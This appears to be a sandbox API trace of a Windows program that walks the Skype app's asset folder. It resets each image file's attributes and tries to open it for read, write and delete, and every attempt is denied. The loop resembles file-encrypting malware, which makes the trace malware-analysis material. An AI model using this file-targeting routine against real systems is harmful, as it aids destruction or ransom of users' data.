	[0091.303] wcscmp (_String1="image_placeholder.scale-100.png", _String2=".") returned 1
	[0091.303] wcscmp (_String1="image_placeholder.scale-100.png", _String2="..") returned 1
	[0091.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc178
	[0091.303] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images"
	[0091.303] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\"
	[0091.303] wcscat (in: _Dest=0x4ebc178, _Source="image_placeholder.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\image_placeholder.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\image_placeholder.scale-100.png"
	[0091.303] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\image_placeholder.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\images\\image_placeholder.scale-100.png")) returned 0x20
	[0091.305] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\image_placeholder.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.305] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\image_placeholder.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\images\\image_placeholder.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.305] GetLastError () returned 0x5
	[0091.305] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\Images\\image_placeholder.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0091.305] FindNextFileW (in: hFindFile=0x477b3e8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0d9c4e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12d, dwReserved0=0x0, dwReserved1=0x0, cFileName="image_placeholder.scale-100.png", cAlternateFileName="")) returned 0
	[0091.305] FindClose (in: hFindFile=0x477b3e8 | out: hFindFile=0x477b3e8) returned 1
	[0091.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f230) returned 1
	[0091.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776a60) returned 1
	[0091.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b648) returned 1
	[0091.305] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d9c4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0d9c4e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0d9c4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LockScreenBadgeLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0091.305] wcscmp (_String1="LockScreenBadgeLogo.scale-100.png", _String2=".") returned 1
	[0091.305] wcscmp (_String1="LockScreenBadgeLogo.scale-100.png", _String2="..") returned 1
	[0091.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2e45250
	[0091.305] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.306] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.306] wcscat (in: _Dest=0x2e45250, _Source="LockScreenBadgeLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\LockScreenBadgeLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\LockScreenBadgeLogo.scale-100.png"
	[0091.306] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\LockScreenBadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\lockscreenbadgelogo.scale-100.png")) returned 0x20
	[0091.307] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\LockScreenBadgeLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.308] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\LockScreenBadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\lockscreenbadgelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.308] GetLastError () returned 0x5
	[0091.308] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\LockScreenBadgeLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.308] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0091.308] wcscmp (_String1="SkypeAppList.scale-100.png", _String2=".") returned 1
	[0091.308] wcscmp (_String1="SkypeAppList.scale-100.png", _String2="..") returned 1
	[0091.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771868
	[0091.308] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.308] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.308] wcscat (in: _Dest=0x4771868, _Source="SkypeAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100.png"
	[0091.308] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypeapplist.scale-100.png")) returned 0x20
	[0091.309] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypeapplist.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.310] GetLastError () returned 0x5
	[0091.310] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0091.310] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeAppList.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.310] wcscmp (_String1="SkypeAppList.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.310] wcscmp (_String1="SkypeAppList.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481ee48
	[0091.310] wcscpy (in: _Dest=0x481ee48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.310] wcscat (in: _Dest=0x481ee48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.310] wcscat (in: _Dest=0x481ee48, _Source="SkypeAppList.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-black.png"
	[0091.310] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypeapplist.scale-100_contrast-black.png")) returned 0x20
	[0091.310] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.311] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypeapplist.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.311] GetLastError () returned 0x5
	[0091.311] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ee48) returned 1
	[0091.311] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeAppList.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.311] wcscmp (_String1="SkypeAppList.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.311] wcscmp (_String1="SkypeAppList.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e030
	[0091.311] wcscpy (in: _Dest=0x481e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.311] wcscat (in: _Dest=0x481e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.311] wcscat (in: _Dest=0x481e030, _Source="SkypeAppList.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-white.png"
	[0091.311] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypeapplist.scale-100_contrast-white.png")) returned 0x20
	[0091.311] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.311] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypeapplist.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.311] GetLastError () returned 0x5
	[0091.311] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeAppList.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0091.312] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeLargeTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.312] wcscmp (_String1="SkypeLargeTile.scale-100.png", _String2=".") returned 1
	[0091.312] wcscmp (_String1="SkypeLargeTile.scale-100.png", _String2="..") returned 1
	[0091.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2e45250
	[0091.312] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.312] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.312] wcscat (in: _Dest=0x2e45250, _Source="SkypeLargeTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100.png"
	[0091.312] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelargetile.scale-100.png")) returned 0x20
	[0091.316] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.317] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelargetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.317] GetLastError () returned 0x5
	[0091.317] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.317] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x5031b18 | out: lpFindFileData=0x5031b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ffeac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc0ffeac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xc0ffeac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SkypeLargeTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.317] wcscmp (_String1="SkypeLargeTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.317] wcscmp (_String1="SkypeLargeTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2e45250
	[0091.317] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets"
	[0091.317] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\"
	[0091.317] wcscat (in: _Dest=0x2e45250, _Source="SkypeLargeTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-black.png"
	[0091.317] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelargetile.scale-100_contrast-black.png")) returned 0x20
	[0091.317] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.318] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\skypeapp\\assets\\skypelargetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.318] GetLastError () returned 0x5
	[0091.318] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c\\SkypeApp\\Assets\\SkypeLargeTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
